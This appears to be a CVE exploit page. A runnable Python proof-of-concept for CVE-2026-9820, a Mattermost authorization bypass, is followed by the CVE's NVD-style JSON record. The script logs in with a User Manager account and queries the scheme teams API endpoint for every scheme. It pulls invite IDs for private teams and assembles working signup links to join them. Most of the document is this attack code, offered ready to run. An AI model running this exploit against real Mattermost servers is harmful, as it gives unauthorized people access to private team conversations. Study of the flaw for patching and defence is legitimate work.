CVE-2026-9820

#!/usr/bin/env python3 """ CVE-2026-9820 - Mattermost Scheme Teams Endpoint Authorization Bypass PoC This PoC demonstrates how a User Manager role user can extract invite links for private teams via the scheme teams API endpoint. """ import requests import json import sys class MattermostCVE_2026_9820: def __init__(self, base_url, username, password): self.base_url = base_url.rstrip('/') self.session = requests.Session() self.username = username self.password = password self.token = None self.user_id = None def authenticate(self): """Authenticate to Mattermost and obtain session token.""" url = f"{self.base_url}/api/v4/users/login" payload = {"login_id": self.username, "password": self.password} resp = self.session.post(url, json=payload) if resp.status_code == 200: self.token = resp.headers.get('Token') self.user_id = resp.json().get('id') print(f"[+] Authenticated as: {self.username} (ID: {self.user_id})") return True else: print(f"[-] Authentication failed: {resp.status_code}") return False def get_schemes(self): """Retrieve available schemes accessible to the current user.""" url = f"{self.base_url}/api/v4/schemes" headers = {"Authorization": f"Bearer {self.token}"} resp = self.session.get(url, headers=headers) if resp.status_code == 200: schemes = resp.json() print(f"[+] Found {len(schemes)} schemes") return schemes return [] def exploit_scheme_teams(self, scheme_id): """ Exploit CVE-2026-9820: Fetch teams under a scheme including private teams' invite links that the User Manager should not have access to. """ url = f"{self.base_url}/api/v4/schemes/{scheme_id}/teams" headers = {"Authorization": f"Bearer {self.token}"} resp = self.session.get(url, headers=headers, params={"page": 0, "per_page": 200}) if resp.status_code == 200: teams = resp.json() print(f"\n[!] CVE-2026-9820 Exploitation Results for scheme {scheme_id}:") print(f"[!] Retrieved {len(teams)} teams (including private teams):") private_invites = [] for team in teams: team_name = team.get('display_name', 'Unknown') team_type = "Private" if team.get('allow_open_invite') == False else "Public" invite_id = team.get('invite_id', '') team_id = team.get('id', '') print(f"\n Team: {team_name} (Type: {team_type})") print(f" Team ID: {team_id}") print(f" Invite ID: {invite_id}") if team.get('allow_open_invite') == False and invite_id: invite_link = f"{self.base_url}/signup_user_complete/?id={team_id}&token={invite_id}" private_invites.append({ "team_name": team_name, "team_id": team_id, "invite_id": invite_id, "invite_link": invite_link }) print(f" [VULNERABLE] Private Team Invite Link: {invite_link}") return private_invites else: print(f"[-] Failed to fetch scheme teams: {resp.status_code}") return [] def run(self): """Execute the full exploitation chain.""" print("=" * 60) print("CVE-2026-9820 - Mattermost Scheme Teams Auth Bypass PoC") print("=" * 60) if not self.authenticate(): sys.exit(1) schemes = self.get_schemes() all_private_invites = [] for scheme in schemes: scheme_id = scheme.get('id') invites = self.exploit_scheme_teams(scheme_id) all_private_invites.extend(invites) print(f"\n{'=' * 60}") print(f"[SUMMARY] Extracted {len(all_private_invites)} private team invite links") print(f"{'=' * 60}") for inv in all_private_invites: print(f" - {inv['team_name']}: {inv['invite_link']}") return all_private_invites if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <base_url> <username> <password>") print(f"Example: {sys.argv[0]} https://mattermost.example.com user_manager_user password123") sys.exit(1) exploit = MattermostCVE_2026_9820(sys.argv[1], sys.argv[2], sys.argv[3]) exploit.run()

{"cve": {"id": "CVE-2026-9820", "sourceIdentifier": "[email protected]", "published": "2026-07-13T11:16:28.203", "lastModified": "2026-07-13T17:01:11.600", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.7.x <= 11.7.2, 10.11.x <= 10.11.19 fail to sanitize team objects returned by the scheme teams endpoint, which allows a user with the User Manager role to obtain invite links for private teams and use them to join or share access to those teams via the scheme teams API endpoint.. Mattermost Advisory ID: MMSA-2026-00671"}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Mattermost", "product": "Mattermost", "defaultStatus": "unaffected", "versions": [{"version": "11.7.0", "lessThanOrEqual": "11.7.2", "versionType": "semver", "status": "affected"}, {"version": "10.11.0", "lessThanOrEqual": "10.11.19", "versionType": "semver", "status": "affected"}, {"version": "11.8.0", "status": "unaffected"}, {"version": "11.7.3", "status": "unaffected"}, {"version": "10.11.20", "status": "unaffected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-13T13:09:24.482863Z", "id": "CVE-2026-9820", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}